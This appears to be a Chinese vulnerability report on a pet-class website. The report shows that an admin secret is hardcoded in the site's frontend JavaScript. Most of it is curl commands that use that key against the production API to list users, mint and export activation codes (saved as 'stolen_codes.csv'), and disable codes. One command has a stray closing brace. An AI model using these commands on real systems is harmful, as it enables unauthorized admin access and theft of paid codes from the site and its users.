测试对象: 生产环境 (http://43.138.xxx.xx/pet/) (数据已脱敏)
漏洞分析
漏洞描述
系统在前端代码中硬编码了管理员后台的访问密钥,任何用户都可以通过查看网页源代码获取该密钥!!! ∑(゚Д゚ノ)ノ
漏洞代码位置
1 2
| const Yx = "petclass_admin_2024"; const xn = {"X-Admin-Secret": Yx};
|
步骤演示
获取管理员密钥
1 2
| const Yx = "petclass_admin_2024"; const xn = {"X-Admin-Secret": Yx};
|
利用密钥调用管理接口
1 2 3
| curl -X GET http://43.138.xxx.xx:2016/api/admin/users \ -H "X-Admin-Secret: petclass_admin_2024"
|
生成大量激活码
1 2 3 4 5 6
| curl -X POST http://43.138.xxx.xx:2016/api/admin/generate-codes \ -H "X-Admin-Secret: petclass_admin_2024" \ -H "Content-Type: application/json" \ -d '{"count": 100, "codeType": "half_year"}' }'
|
导出所有未使用的激活码
1 2 3 4
| curl -X GET "http://43.138.xxx.xx:2016/api/admin/codes/export?unused_only=true" \ -H "X-Admin-Secret: petclass_admin_2024" \ -o stolen_codes.csv
|
禁用特定用户账号
1 2 3 4 5 6
| curl -X POST http://43.138.xxx.xx:2016/api/admin/codes/disable \ -H "X-Admin-Secret: petclass_admin_2024" \ -H "Content-Type: application/json" \ -d '{"code": "ABCD-1234-EFGH-5678"}'
|
本报告仅用于安全研究和漏洞修复目的,请勿用于非法用途。